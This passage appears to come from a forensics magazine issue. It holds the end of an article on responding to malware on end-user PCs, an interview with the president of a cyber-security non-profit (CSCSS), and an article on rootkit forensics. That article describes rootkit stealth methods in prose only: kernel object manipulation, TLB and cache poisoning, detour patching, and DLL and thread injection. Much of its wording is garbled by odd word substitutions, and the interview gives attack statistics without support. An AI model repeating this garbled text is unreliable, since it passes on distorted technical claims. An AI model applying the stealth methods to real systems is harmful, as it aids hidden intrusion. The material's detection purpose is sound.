er’s responsibilities are greatly diminished. However, end-users should be trained on the procedural
steps that follow in the remainder of this article regardless due to the possibility that IT professionals
cannot reach the end-user as quickly as would be expected. Further, end-users should be aware of
the malware forensics process in order to prevent them from attempting to fix the problem on their
own using a misguided approach.

SAFEGUARD THE NETWORK

If IT professionals are not immediately available to investigate a potential malware attack, end-users
should know how to disconnect their PC from the network. Disconnection from the network is a key step
in a malware defense plan because it can prevent malware from spreading across the network, if the
malware is a worm. Since malware forensics is required to determine if the malware is capable of infect-
ing other machines on the network, it is best to mitigate further harm by disconnecting the machine from
the network before investigating the malware.

Users may not know what it means to disconnect the PC from the network and instructions via a phone
call with an IT professional may not be sufficient. A training session would include detailed instructions,
and preferable, a live demonstration of how to disconnect the PC from the network. Users should know
exactly how to pull out the network cable and where the network cable is located. It is best to routinely
train users on malware defense techniques so that they will know what to do if and when their machines
become infected.

MEMORY PRESERVATION

When end-users notice that their machine is malfunctioning, their instinct is to restart their machine.
In some organizations, the IT Department may even have this tendency. It is important that both
end-users and technicians resist the temptation to shut down the machine and instead work toward
troubleshooting the root cause. Shutting down the machine purges the memory, which would have
served as valuable forensics material. Such information could have helped a technically trained in-
dividual locate the source of the malware or at least the user’s recently visited websites. It is thus
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important for users to be regularly reminded of their role and responsibilities for information security.
End-users can negatively impact a malware investigation if they are not trained to participate in a
malware defense strategy.

MALWARE ANALYSIS
An IT professional should examine an infected machine as soon as possible. The following steps should
be included in any formal plan of action:

« Remove the malware
« Scan the machine for malware
» Collect data

MALWARE REMOVAL

Malware removal is generally a simple step. However, if the IT professional cannot detect malware on
the machine but is confident that the machine is infected, clear the hard drive and re-image the ma-
chine. This precaution should only be taken after a thorough forensic investigation. Prematurely recon-
necting the machine to the network could cause the malware infection to spread across the network
to additional machines.

MALWARE SCAN

After removing the malware, it is important to scan the machine for additional malware. This machine
may be particularly vulnerable to malware infections and malware may have infected the machine since
the last scan. Either way, scanning the machine is an important precursor to reconnecting the machine
to the network.

Before scanning the machine, make sure that the malware detection software is updated to the latest
version and that the DAT file is up to date. In deciding how many passes to take and how deep the scan
should be, an IT professional should consider whether the malware is a major or minor infection and
how likely it is for the malware detection software to detect malware on a single quick pass. Generally,
the more sophisticated the software and the less serious the malware, the lesser the need for multiple
passes and deep scans.

DATA COLLECTION

When a technician does reach the end-user, this is a prime opportunity to collect data from the machine
and the user. Logs from any anti-malware software installed on the computer, browser cookies, surfing
history and e-mail history should be collected at this point. This information will help pinpoint the origin
of the malware so that other users can be alerted and machines on the network can be protected. For
example, are suspicious websites or e-mail senders found in the surfing or e-mail histories? If so, these
websites and e-mail addresses should be investigated and potentially blocked.

CONCLUSION

A strong plan of action for responding to malware recognizes the role of end-users and IT professionals.
Many software tools take over these roles, thereby making procedural techniques irrelevant. For organi-
zations that do not have these tools, procedures and end-user training are essential. These procedures
should include: malware detection techniques, the point of contact in IT, quarantining the machine, pres-
ervation of memory, malware removal, machine scanning and data collection. A strong end-user educa-
tion program should include regular training sessions to remind users of the procedure. IT professionals
should also routinely examine the procedure, their role in this procedure and any necessary updates to
the procedure due to system and software changes.

ABOUT THE AUTHORS
Charles Coker (CISSP), Nicole Michaelis, and Andrew Akker have a combined 30 years of experience in the information security
industry. They work in the information risk governance arm of IT in the New York branch of a large foreign bank. They closely
follow information security trends and best practices in order to keep up with a constantly shifting industry landscape.
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and President of the Centre for Strategic Cyberspace +
Security Science / CSCSS. Richard speaks ad presents
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seminars on cybersecurity + national level cybersecurity
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open source intelligence, the global cybersecurity
advanced persistent threat in cyberspace.
A key visionary for CSCSS’s programmes and
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Conflict Centre (C/3C), CSCSS International Cyber
Law & Policy Group, CSCSS C3i Group (C/C3i),
Research + Development Group, CSCSS Defence
Intelligence Group (C/DIG) and CSCSS Cybercrime
Intelligence Service (C/CIS).
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United Kingdom and works internationally on cyber
initiatives facilitating transnational cyberspace and
cyber leadership and national security.
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What is CSCSS and what are your goals?

The Centre for Strategic Cyberspace + Security Science was established to provide leadership in inter-
national cyber security and cyberspace affairs. It represents what is best about cyber-centric leadership,
and is capable of bringing together diverse and converging viewpoints and leadership for cyberspace
and the central strategic issues and opportunities on the international stage.

The Centre for Strategic Cyberspace and its mission are critical to the evolution of cyberspace security,
research, development and the fundamental convergence we see every day. Information is a vital asset
to economic development innovation and national security. The cyber threats to information and com-
munication technologies (ICT) systems and information security are evolving; cyber technology, process
and the supporting human element must evolve accordingly.

The unique value The Centre for Cyberspace + Security Science (CSCSS) brings to the cyberspace
stage can be defined in many ways. Primarily, in the global forum, we are the only independent, biparti-
san, not for profit, Strategic Cyberspace + Security Science group in operation working to develop inter-
national strategies for cyberspace and scientific based research + development that clearly articulates
strategic cyberspace security objectives, goals, and priorities.

What are your deliverables?
Fundamentally our approach can be best described by the following quote:

Albert Einstein

Clearly, the approaches to “cyber’ taken to date are not sustainable and are essentially a patchwork de-
fence to the threats. There is an urgent need to examine the constantly evolving trends, environments, and
issues that present themselves in a new light, through innovation, through convergence of public — private
partnerships, through leadership and facing the tough choices and challenges ahead as we move forward.

To counter these issues we see, CSCSS is strengthening our commitment to our global partners,
stake holders, and clients through cyberspace thought leadership, security and collaboration. Addition-
ally, we are providing a cyber + scientific approach to security research, development and services. Our
approach, through our CSCSS Intelligence
Services, which includes CSCSS Defence
Intelligence Group (CDIG) and Cybercrime
Intelligence Service (CCIS) translate into
an approach to deliver a security strate-
gy that consistently delivers proactive in-
sights on true threats, the intelligence to
avoid pitfalls, and understand what the ex-
posures your organization faces and rev-
enue protection through improved organi-
zational cyber stability.

What is the CSCSS structure? How dooes it all work?
We take a convergent approach to address the CSCSS mission, vision and objectives. Within the CSC-
SS Framework we are clearly focused in three distinct areas of operation:

» Security programmes,
« Security + cyber intelligence services,
» Cyber science driven research and development.

Spanning all CSCSS Divisions and groups; from thought leadership, strategy development, to opera-
tions, CSCSS delivers a highly skilled professionals with leading-edge experience, skill, and technology
to adapt to ever changing cyber threats, and evolving challenges.

Our resources are drawn from industry cyber professionals, former and current Intelligence Analysts,
Network engineers, and Computer Security Analysts, and cyber professionals who have worked with
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various governments within the law enforcement and military intelligence community. Our standard is a
comprehensive, competitive, highly trained, highly skilled and agile team. This enables CSCSS to pro-
vide a response to the evolving trends and challenges faced by our clients.

What are you currently working on?

Some of the most exciting projects we are working on include our Cyber Intelligence USA Conference
to be held June 18-20" 2014 in Washington D.C. We are very excited to be in partnership with the FBI/
InfraGard and our logistics partner Intelligence-Sec in the United Kingdom. The conference has a very
strong lineup of speakers, events, educational workshops that are sure to attract a lot of attention and
deliver on the contemporary issues faced in the Cyber Intelligence area of operations.

Another key programme for us is our C3i (C3i — Cybercrime, Cybersecurity + Cyber Intelligence) Initia-
tive and associated C3i Group. We have had a tremendous response to C3i in relation to law enforce-
ment services in the UK, including the National Business Crime Forum (NBCF) and the National Crime
Agency (NCA). We are developing and furthering our relationship with NIST and our association with the
National Science Foundation to expand our CSCSS International Academic Council (CIAC) in the USA,
Canada, Australia as well as the UK ad Europe.

One of the most highly anticipated programmes will be the International Cyber Law and Policy Group
(ICLP). This group, led by Dr. Amit Matira will be a cornerstone program for CSCSS. The purpose of
the Group is to enhance capability, cooperation, and information sharing in International Cyber Law and
Policy through education, R&D, and lessons learned.

A key will be to inform the public through workshops, seminars, meetings and conferences, about the
values set forth in international humanitarian law (IHL), derived from the UN Charter, treaty laws based
on The Hague Regulations, Geneva Conventions and Additional Protocols to prohibit practices such as
indiscriminate attack.

Could you give details on the actions of the “cyberspace - critical infrastructure protec-
tion (CIP) group”?

The sheer volume of attacks means many perpetrators are never traced with industry and law-enforce-
ment authorities struggling to remain contemporary in the required strategies, technologies and leader-
ship. C3i Group and its associated Select Committee on Cyber Intelligence has been created to bring
into play the resources required, globally, to address this.

The CIP group works directly (internally) with CSCSS (combined) intelligence services to identify the
Advanced Persistent Threats and their associated threat profile which can be applied to a critical infra-
structure, such as, healthcare or the financial industry.

Where do you operate?
The Centre for Strategic Cyberspace + Security Science is a non profit organization that operates inter-
nationally and is headquartered in London, United Kingdom.

We have a regional presence in a variety of locations including North America, Asia, Asia Pacific, and
the EU. This provides CSCSS with a strong global footprint and effective reach into potential strategic
partnerships at varied levels. | often say that CSCSS brings a global presence with a regional slant. We
know that regionally the issues in cyberspace can are often very different. Our philosophy is embedded
our ‘Global’ view on how we operate, providing us with a great deal of leverage and impact to understand
the bigger picture ‘ cyber’ on the international stage.

How do you support uk and US Government?
All our support is based upon public-private partnerships. At this point in time we are further developing
our relationships within governments. C3i is a prime example that we can point to as a success.

Our framework has been looked at by NATO, the NBCF (National Business Crime Forum) in the UK.
We have hard and soft relationships through these organizations that connect into Interpol, Europol and
InfraGard. We are further developing these to provide our insight and leadership.



For our Cyber Intelligence USA conference we are specifically targeting our demographic to be govern-
ment and industry. The only way we are going to move past the point we are at is to have a clearer and
deeper way to share information securely, effectively and more openly.

Who can join you?
Anyone can join CSCSS.

Our framework allows for
methodologies,  concepts
convergence and collabora-
ested in those applicatcants
security Faculty of Analysts.
space security practitioners
of our ongoing research

the rapid adoption of new
and ideas. We are built on
tion. We are always inter-
who whish join our Cyber
We seek seasoned cyber-
and professionals to be part
and development projects.

In conjunction with our CSCSS Experts programme which provides us with a group of highly placed
individuals who are well respected and in the top of their respective fields. We offer the ability to work on
CSCSS projects both at a personal and organizational level. We are approached every day to conduct
workshops, speak at conferences, and comment on current issues in cyberspace.

In 2014, we will be launching a formal membership programme open to all public and private sector or-
ganizational entities including government; business and industry organizations; foundations; academic
institutions; standards organizations; industry and trade associations.

If your readers wish to join our Experts Programme and have particular area interest in cyberspace or
cybersecurity, they join specific research and development under way at CSCSS, including the work be-
ing done in our regional centers on CSCSS initiatives or nominate your own research project proposal
to be reviewed by CSCSS.

If any of your readers wish to be in our Experts programme it is as simple as contacting CSCSS to
schedule and interview and assessment.

Could you please share with us some statistics on cyber attacks? How many attacks we
face per day worldwide? Who is mainly the victim of attacks? For what purposes mostly?
Cyber attacks and Cyber Crimes in general are growing exponentially. We estimate that by the year
2017, on a global level, the Cyber Security market is expected to attain or exceed an estimated $120.1
billion. The estimated annual cost over global cyber crime is 100 billion.

Studies show that cyber crimes are achieving a rate of 550+ million victims per year, 1.5 million vic-
tim’s per day with an associated rate of approximately 1.5 victums per second. Social Media is the new
“killing ground” with approximately 600,000 facebook accounts are compromised per day. This is merely
cybercrime.

If we look at what is occurring, where, and the types of
attacks we see that they are becoming more targeted,
more malicious with a key upswing in evolutionary so-
phistication. This leaves the security industry, research-
ers, industry and governments looking for ways to close
the gap on a situation that is effectively out of control.

The major motivators for cyber attacks are (estimated) 40% Cybercrime, 50% hactivism, 3% cyber
warfare and 7% cyberespionage. The top tier countries contributing to malware attacks are Russia and
the Untied states. From a standpoint of cyber attack itself Russia is the clear leader with an estimated
2.5 million attacks (as of Feb 2013). The cyber world is clearly behind the curve when it comes to dealing
with these transnational threats.
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From your experience, do the companies and governments have a proper network pro-
tection?

In relation to your previous question, there is no ‘proper’ protection other than organizations working to
properly address the cyber ecosystem in which they operate. Cyberspace is effectively a hostile environ-
ment. The organizations that understand this will do relatively better.

We are all a target for whatever reason. Be it a tech-
nology, intellectual property or something someone per-
ceives as value. That is not to say all is lost. We can pro-
tect ourselves and our organizations. How? Common
sense approaches to technology, looking beyond mar-
ket and marketing spin by vendors and holding vendors
accountable for their protective services.

This also includes holding accountable the organiza-
tions, corporations and governments that house and
store our personal information. We need to address
what our systems are doing, why, when and where.
When | check into a hotel, the first thing they ask me
is for my credit card for ‘incidentals” associated with a
hotel stay. People readily hand over their cards which
are then transacted and information is stored. Stored?
Where? How? By whom? Who has access? What about
confidentiality?

To directly answer your question — in my experience — no they are not. | have been involved in security
assessments of government systems and large multinational corporations. To say the least they are lack-
ing in any number of ways. The issues lie in complexity, cost, staff training and over all corporate cyber
security awareness. Cybersecurity at this level can be seen as crunchy on he outside; soft and chewy on
the inside. Breaches are occurring every day, most times they are not even noticed. That’s the scary part.

If you agree that one of the biggest advantages for a computer forensics investigator is
an access to the hardware, how does the restricted access to cloud-based hardware in
cyberspace impede a forensics inestigation?

While I'a m not forensics SME, from my experience, If there is detailed reporting of the hardware, STIX
and CybOX come to mind as frameworks that can really assist in this. STIX or and CyBox provide de-
tailed reporting processes, and if there are copies of the logs — that meets most of my requirements.
STIX defines a set of services and message exchanges that enables sharing of actionable cyber threat
information through organizational, product line and service boundaries. Collaborative effort to develop a
standardized, structured language to represent the STIX framework provides and extends very full range
of potential cyber threat data elements and delivers expressive, flexible, and extensible.

CybOX provides a common structure and content types for addressing cyber observables across this
wide range of use cases. CybOX is a standardized schema for the specification, capture, characteriza-
tion, and communication of events or stateful properties, being observable in all (system and network)
operations. A wide variety of cybersecurity cases rely heavily information that includes event manage-
ment/logging, malware characterization, intrusion, detection/prevention, incident response, and most im-
portantly in this case digital forensics.

| don’'t see the requirement for hardware access in
many cases. If there is a requirement for hardware
aaccess then the provider will need to be brought into
the picture. This can be an issue, depending on where
on the planet they are located, how cooperative they
are and what legal requires are in place for cooper-
ation and reporting. When the attack is on firmware
and/or hardware | don’t see how the restrictions can
be overcome. That is an entirely different level and pro-
cess. That is when physical access is required.
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From a purely scientific approach CSCSS will be shortly launching our Cyber Sciences Directorate that
will provide the appropriate platform to promote and further our approach in this area. This directorate
is being led by Shawn Riley, Executive Vice President, Strategic Cyberspace Science and and CSCSS
Vice President, Curtis Levinson (United States Cyber Defense Advisor to NATO). They bring a tremen-
dous amount of insight and experience in this area with their ties to industry the public private sector as
well as NATO. This will provide us with a much deeper global reach to promote much needed work in
cyber sciences.

What are the emerging threats and trends?
There is still no systematic effort at strategic cyberspace planning for national security that is inclusive,
deliberative, and integrative and defensive. Aimost all cyber warfare capabilities developed to date are

CENTRE FOR STRATEGIC
CYBERSPACE + SECURITY SCIENCE

offensive in nature. The cyber security industry (vendor), as a group that is entrusted for defense, is gen-
erally lagging behind offensive capabilities of cybercriminals, terrorist organizations, cartels and nation
sponsored and corporate espionage. Trending is incredibly hard to do, what is relevant today is, in 1, 2
or 3 years time, is inefficient to ineffective. Strategically we see changes in the global framework govern-
ing the internet, hacktivists and cyber criminals pool interests.

We see a steady if not exponential grown in cyber attacks leveraging mobile devices. As such we fore-
see a greater need for better intelligence and sharing on cyber threats to better address Security issues
to critical infrastructures as attacks target control systems and cloud computing. | strongly believe that
we must be resilient enough to address the ‘unexpected’ as cyberspace and its security has become a
focus topic with implications for every major line of business and market segment. Cyberspace by it na-
ture and new generations of cyber attacks is costing millions and straining the structure of the Internet.

How can companies and security experts contact you?
Companies can contact us via our website http://www.cscss.org/contact_us.php which provides a list of
divisions and contact points or call: UK +44 2035141784, USA 877.436.6746.

We respond to requests globally and treat each contact and the information you provide to us with the
highest regard for confidentiality.
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THE ROOTKITS

AN INFORMATIVE NUTSHELL APPROACH OF ROOTKIT
FORENSICS FOR COMPUTER FORENSICS EXPERTS

by dr Sameera de Alwis

Enormous volume of hacking occurrs, severe data breaches

and data leakages are being reported universally. Almost

every foremost business and every distinct government are
being relentlessly smashed by these invaders and the revenue
loss causes of these hostile occurrences are immense and the
reputational damages are also innumerable. The contemporary
computer/digital forensics software tools and approaches
habitually miscarries on the detection of contemporary Rootkits,
and forthcoming Rootkit progresses will exacerbate this
circumstances. Present-day and emerging uncovering tactics
rely on low level knowledge of Rootkit enactments, and so will
persist in a mercurial point. This manuscript offers the fallouts of
a digital forensics investigative determination to inaugurate the
contemporary state of Rootkits and architectural/internals of the
Rootkits, to file the foreseen forthcoming state of Rootkits and
its architectural/internals, and to pinpoint effective elucidations
to the contest of Rootkit exposure in the domain of Malware
Forensics in the prime domain of Computer/Digital Forensics.

What you will learn:

» Nutshell Classification/Types of Rootkits for Malware Forensics Experts
» In-Depth Capabilities of Rootkits for Malware Forensics Experts
« The Rootkit Discovery/Recognition Process and Procedures

What you should know:

* Operating System’s Architectures

* OS User Mode and Kernel Mode Internals

« Computer Hardware Architectures

 Virtual Machines and Associated Technologies

P
+



i

ootkits (A.K.A — Administrator’s Nightmare) are rapidly fetching the tool of choice for the present
R day cyber-crimes and reconnaissance involving network interrelated computing equipment and

data. Rootkit is a type of malicious (malcode) software application or malware that is installed by
an invader afterward the target victim system has been compromised at the root or administrator’s lev-
el. For the reason that the Rootkits transports the stealth process and the facility to ex-filtrate data con-
cealed from the network. The vital or confidential information is being saved in computers, the defective/
vulnerable software and a deficiency of security reins render the valuable information to outbreak these
forms of malware. The determination of a Rootkit is to deliver sustained and stalwart dense access to the
negotiated victim system, to conceal information about the concession and its enduring events from au-
thentic system supervisors or administrators.

In accumulation to these rudimentary topographies, Rootkits may also deliver the functionalities such
as: Keystroke Loggers (Keyloggers), Backdoors, Data Packet Sniffers, Data-Exfiltration, Remote Attack
Tools RATs, Botnets and occasionally even APTs (Advanced Persistent Threats)), and mostly it uses
the extremely encrypted covert communication channels with the robust encryption or cryptographic
algorithms to negotiate with the invaders. Rootkits are divergent from worms or viruses, for the reason
that they do not self-propagate like worms, nevertheless manifold formulae of malware are occasionally
pooled. The mutual philological manner for Computer Security Incidents published by Sandia National
Laboratories categorizes rootkits as a form of invasive toolkit (Howard and Longstaff, 1998).

These invasive toolkits instigated from malicious invaders who desired to endure to exploit a conceded
systems by forming a concealed cache of tools. This is not a newfangled run-through; the conception has
been around as elongated as hacking has in the biosphere. Certain cradles deliberate a rootkit to be a
form of Trojan-Horse, nonetheless not like most of Trojans, Rootkits deliver the stealth functionalities that
is castoff to masquerade itself and its activities. There are thousands of Rootkit variations readily prevail-
ing in the online biosphere for download on the Internet, and their custom is on upsurge. The Rootkits
are available for every prevalent key operating platforms (OS) such as: Microsoft Windows, Apple Mac
OS X, and numerous flavors/distributions of UNIX and Linux.

CLASSIFICATION OF ROOTKITS

There have been manifold challenges to classify Rootkits, nevertheless none of them have ensued in
an approximately acknowledged the Rootkit taxonomy. Numerous tactics have castoff the level at which
subversion befalls, Rootkit topographies or competences, the stealth techniques engaged, Rootkit an-
cestry and resemblance, and Rootkit code rheostat stream.

More than a few tactics denote to Rootkits consuming a casual classification built upon the level at
which the subversion performances are engaged, such as: Kernel-Mode, User-Mode and Virtualized.
The most presumed key classification forms are,

* Infect Code (Type 1) — Subverts OS or applications by functioning Static System Resources.

* Infect Data (Type 2) — Subverts OS Kernel by functioning Dynamic System Resources.

* Hypervisor (Type 3) — Subverts OS prior to Boot, consuming Virtualization, Hypervisor, or Low Level
Chipset Control.

* No Subversion (not Rootkit forms) — Does not subvert the OS or applications).

The Type | Rootkits target those system resources which were intended to be persistent, such as Ker-
nel Code units. The Type Il Rootkits target dynamic system resources, approximating the data segments,
counting components of specific Kernel built data structures. And the Type /Il Rootkits target the newfan-
gled hypervisor systems and are by classification those which cannot be perceived by whichever form of in-
tegrity scanning, for the reason that they live entirely freestanding the intrinsic OS. An advanced classifica-
tion can be devised at the diverse topographies or the feature sets which castoff by Rootkits. The supreme
outstanding competence in a Rootkit is how it masquerades its internal Rootkit segments.

Concede manner, the Rootkits can be fragmented into tri-extensive types contingent on the uppermost
intensified privileges with which they execute in the system. A Rootkit that executes like an ordinary soft-
ware applications would be named as,

Userland/User-Mode Rootkits and would custom in the “CPU Ring 3” system privilege level, which
does not have the identical privileges as the OS Kernel. Maybe, a supplementary anticipated Rootkits
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will drive within the Kernel itself, and consequently be capable to access whichever sector of the system.
These are acknowledged as Kernel-Mode Rootkits which execute at the identical privilege as the Kernel
“CPU Ring 0” system privilege level. There are also explicit forms of Rootkits which can execute beneath
the Kernel level, via the Virtual Machine (VM) technology, even counting the Rootkits that can acquire in-
to the “Hypervisor” hardware levels of the VM architectures and those are named as Hypervisor Rootkits.

Figure 1. Kernel Privilege Stack in Microsoft Windows Architecture

A supplementary distinguished classification of the stealth technologies engaged by Rootkits was pre-
sented by Butler, Arbaugh and Petroni. They nominated six comprehensive customs that Rootkits Mas-
querade: Hooks, Registers, Layered Drivers, Callbacks, DKOM (Direct Kernel Object Manipulation) and
at the present time retro undeniably the VM (Virtual Machines). Most of these practices are Kernel-Mode,
with the exclusion of Userland Hooks. One could also form a capability of vector for every Rootkit, by
satisfying in tenets for an enormous set of conceivable topographies, such as: Collective Topographies:
Injection Process, Target OS, Mode, Persistent, EEPROM/Flash, Weaponized and Maturity, Hooking
Techniques: |IAT, SST/SSDT, /proc, EAT, DLL Injections, IRP, DKOM, IDT, Inline, Page-Fault Handlers,
APIs, VMMs and Layered Filter Drivers, Object Masquerading Processes: Handles, Files, Modules, Pro-
cesses, Services, Ports, Registry Keys, Drivers and In-Memory Executable(s) and the Comportments:
Elevate Process Privileges, Enhances Internet Protocols, Polymorphic Procedures, Evasive Perfor-
mances, Overwrites Syscall Jumps, Terminate Rivals, Complements Newfangled Syscall Jumps, TPC/
UDP Packet Sniffers, Varies of Kernel Text, DoS (Denial of Service) and Key Logging.



COMPETENCES OF THE ROOTKITS
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BUS ADDRESS TRANSLATIONS

The numerous System and Control Busses on the system are focus to layers of address translation be-
forehand they can directly and right of entry to the Physical Memory. Consequently, the Rootkit discov-
ery resolutions that are built on DMA (Direct Memory Access) access can hypothetically be subverted.

PROCESSOR CACHES

The processor upholds a copy or cache of data and code for performance motives. These CPU Caches
can occasionally be toxin to encompass the voided data. Such toxin can be castoff to masquerade code
or data in a manner that cannot be discovered by the ordinary memory access procedures.

TABLE BASE REGISTERS

The position of the system tables, such as the IDT (Interrupt Descriptor Table) are preserved as an ad-
dress in a CPU Register. If the CPU Register is reformed, the entire table can be stimulated somewhere
else in system memory. Also if this base address is not integrity checked, a Rootkit might be able to
transport the complete table deprived of the original table is being altered. Accordingly, the Rootkit would
be able to transform the recently engendered table deprived of recognition.

TRANSLATION LOOKASIDE BUFFERS (TLB)

The Virtual Memory Addresses is translated into Physical Memory Addresses by Page-Tables.
These Page-Tables are cached for performance motives into the Translation Lookaside Buffers. Spe-
cific Rootkits will toxin the TLB in a manner that permits memory to be subverted then again persist
unobserved. Such Rootkits can make direct reforms to the object code. On the supplementary pointer,
these variations are not distinguished by consuming ordinary memory reads. As a consequence, integrity
checks be unsuccessful to perceive the alterations.

EXCEPTION BASED CONTROL FLOW MODIFICATIONS

To circumvent altering code bytes directly, a Rootkit can instead transform data in a manner that will
persuade an omission. For an instance, a Rootkit might zero out a number that is castoff in an inte-
ger divide process, triggering a divide-by-zero exception. This exception is trapped by the Rootkit and
countenances it to intercept regulator flow at the socket of the divisional instruction. This governor is
acquired deprived of consuming to patch the original code and is instead persuaded only by building
a data state alteration.

BREAKPOINTS

These are a manners for Rootkits to reason an exception to befall on a memory or code address.
These can be directly positioned into the code bytes as Breakpoints or interrupt instructions and/or they
can be persuaded via Debug Registers in the CPU. This permits the Rootkit to intercept the control flows
at the socket of the Breakpoint addresses. These Breakpoints predominantly classifies as the Hardware
and the Software.

DETOUR PATCHING

A Rootkit can position a Branching (Jumping) instruction directly into code and consequently hook to a
system task. This does not necessitate the patching whichever tables in memory which is frequently dis-
tinguished. Instead of a Jump or Call instruction is sited into the definite code, consequently altering the
logic flow. This consents the Rootkit to control the function in a manner that is supplementary obscure
that patching a table.

PAGE-TABLES MANIPULATIONS

It control how memory is translated into Physical RAM. Alterations can be made to the Page-Tables to
masquerade the code or data. Page-Table alterations are equitably unconventional and Rootkits that
custom they are mostly challenging to discover. Page-Table suppositories can be castoff to masquerade
entire sectors of code so that they cannot be read by consuming the ordinary data access.

KERNEL MODE THREADS

Threads can be generated in the Kernel directly and they are not concomitant with whichever process.
Rootkit exposure systems that be dependent on enumeration of Threads might not acquire into account
these exceptional Kernel Threads. Rootkits frequently generates the custom of Kernel Threads in their
system strategies.
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Typical applications executing on a computer, be contingent on Kernel level process to query data in the
system. The Rootkits that intercept actions of the applications in Kernel-Mode can effortlessly circumvent
whichever form of integrity check or system immunity utility tool.

DEVICE DRIVERS

Regularly castoff with Rootkits as a modest manner to load into the Kernel. The Device Drivers contrib-
ute Rootkits every access they prerequisite to contrivance every trick. Numerous forms of Rootkits are
acknowledged to be consuming a linked Device Driver.

FREESTANDING CODES

Some particular form of Rootkits will not use Device Drivers, on the supplementary pointer instead will
copy code directly into main memory with no associated Device Driver. This code can be executed like
whichever ordinary code and the datum it does not have a Device Driver does not thwart it from occupy-
ing. The code functions are ordinarily. This is a supreme strategy for stealth for the reason that there is
no Device Driver that can be identified.

CAVERN INFECTIONS

Instead of apportioning fresh memory, a Rootkit may duplicate its binary code to the conclusion of a pre-
standing page. The zone at the end of every page is classically not castoff and there might be a limited
hundred bytes of accessible space. This consents a detached code of Rootkit to seem to be share of a
prevailing module and consequently upsurges its stealth.

INJECTED DLLS

Modest Rootkits might inject DLLs into supplementary system processes. There is no fresh process that
can be identified afterward the contamination. The injected DLLs apparatuses of the Rootkit and the
Rootkit tasks like a parasite in the interior of prevailing authentic system processes.

INJECTED THREADS

Additional modest evasion trick is for a Rootkit to inject a fresh Rootkit thread into an additional system
process. The process will register as having a novel thread and the fresh thread will perform every Root-
kit correlated processing stack. Such an outbreak does not necessitate an injected DLL and might trans-
port an additional stealth state.

SERVICE FUNCTION HOOKING

Tables in memory retain the track of which system functions should be named for System Calls (Sys-
calls) or imported services. These tables can effortlessly be reformed to call a Rootkit explicit function as
divergent to the original task. Rootkits that hook the tasks correspondingly can evade whichever applica-
tions that be contingent on these service calls or system calls functioning appropriately.

DATA STATE MODIFICATIONS

Rootkits can alter the data instead of binary code. Code reforms can occasionally be identified whereas
the data reforms are much supplementary challenging to integrity checks. For an instance, a Rootkit can
eliminate objects from an associated objects consequently eliminating the facility of System Calls (Sys-
calls) to enumerate those objects whichever extensive. The element in interrogation is then concealed
and it is such as a system process or system file.

INTERNALLY INDUCED BUFFER OVERFLOWS

Particularly the crafted mutation in the data state can be castoff to induce a Buffer Overflow (BoF) and
then sources embedded data to turn out to be the code. The code then performs Rootkit processing. The
code does not prerequisite to continue neighborhood as code. The data mutation might persuade the
overflow on an episodic basis or in response to a precise occurrence. The activation of the code is inge-
niously camouflaged in arrears a software bug. This variety of outbreaks would be precisely challenging
to identify or discover with integrity exploration.

CONTEMPORARY EXPOSURE PROCEDURES

Contemporary rootkit recognition approaches may be inaccurately classified as Signature, Behavioral,
Integrity, Tailored, and Cross-View Metamorphoses. The existing state-of-the-art is tailored recognition
where customized discovery approaches are urbanized based on recognized Rootkit best practices and
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implementations. Despite the fact that effectiveness in contradiction of the identified Rootkits, such a tac-
tic does not encompass to hitherto anonymous Rootkits. The most auspicious evolving revealing prac-
tice is cross-view metamorphoses, even though no comprehensive and effective implementation of this
practice has yet been formed.

ROOTKIT EXPOSURE CHALLENGES

Rootkits posture numerous momentous challenges that mark the exposure is more challenging than
supplementary forms of malware. Initially, the Rootkits frequently contrivance stealth apparatuses, ren-
dering the malicious code invisible to whichever signature-based malware scanner. Subsequently, as-
sailants installing Rootkits have characteristically gained Super-User or Administrator or Root access
to the system’s core. With such uppermost echelons of system privileges, the invader can deactivate,
modify or supplant the discovery tools, alter the system audit logs or system logs (syslog) and or else un-
authorized tamper with the system. The Signature built discovery tools may be effective against certain
Rootkits prior to its comprehensive installation (as a classic instance prior to stealth process), then again
these are inadequate and insignificant circumstances.

Rootkit discovery via integrity verification has its system roots in File Integrity Checkers of the 1990s
(Ex: Tripwire). The indication at that point and as at the present, is that a snapshot of the critical platform
or system components may be occupied at a time when the system is identified to be in a virtuous state.
This system level snapshot characteristically proceeds the form of cryptographically robust mathematical
crypto hashes of the critical system components. At whichever later time retro, a reliable external system
may compare the contemporary system snapshot to the acknowledged virtuous state snapshot; which-
ever discrepancy designates a potential system compromise.

Despite the fact that the system integrity checkers have specific expediency to distinguish Rootkits, they
agonize from numerous boundaries. Predominantly, the initial system snapshot must be reserved when
the system is in a recognized virtuous state. Such a prerequisite may be challenging in an operational at-
mosphere. Subsequently, computer systems and critical system files are frequently dynamic, fluctuating
and complex systems. The critical system files and the system processes frequently modify for authentic
motives (from the application patch to simple ordinary execution state vicissitudes). The list of system files
and system processes which do not alter is trivial and Rootkit functionality may be instigated in numerous
of the system files and system processes which do modification frequently and consequently cannot be
integrity checked. As a final point, the reliable system monitor must receive authentic information from the
system in query.

Rootkits that alter data state (as an instance the DKOM and supplementary Kernel data structure al-
terations) are extensively rigid to identify. Since the data is in persistent mutability, it can be even sup-
plementary challenging to integrity check than system processes or system files. The number of con-
ceivable data structure states is infinite for every real-world determination, rendering integrity checking
impractical. The precise explanation would be a secure OS that transports no boulevard to corrupt data
in the initial point. Until such an OS is presented, the contemporary systems are being infected and reg-
uisite specific resources to authenticate data structures. Even though in philosophy the delinquent is
actually challenging, the real world sampling of the Rootkits are only confronting a limited thriving and
recognized structures and these can in fact, be integrity checked. This does not address newfangled and
anonymous procedures, nevertheless, and is an instance of tailored recognition.

OUTLINE TO THE ROOTKIT TAILORED RECOGNITION

A tailored recognition process is precise to a Rootkit practice or implementation. In this recognition it
is analogous to the approach the medical experts at the present time retro combat with the outmoded
human influenza virus in the area of medicine. In this process, they wait for this year’s influenza virus
to transpire, then develop the vaccine precise to this year’s anxiety. With Rootkits, it can be somewhat
effective at identifying recognized Rootkit practices and implementations, even the utmost advanced
ones. Nevertheless, as with the influenza, they are moderately otiose until they are conscious of a
method or implementation.
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THE TAILORED DISCOVERY PROCEDURES

KERNEL MODE DATA ANALYSIS

Discovering Kernel structures will expedite and facilitate the process finding malware masqueraded in

the Kernel space, or else it is referred to as Rootkits. The subsequent eleven subclasses deliberate nu-
merous techniques that Rootkits can be discovered by understanding how they masquerade themselves

and their activities.

KERNEL DRIVER MODULE DETECTION

The enumeration of loaded device drivers and modules on a system is a key preparatory socket to Ker-
nel level systemic analysis. Kernel shielded software will frequently challenge to masquerade the mani-
festation of their device driver or module consuming an imaginative diversity of procedures. The subse-
quent four subclasses term specific of these procedures.

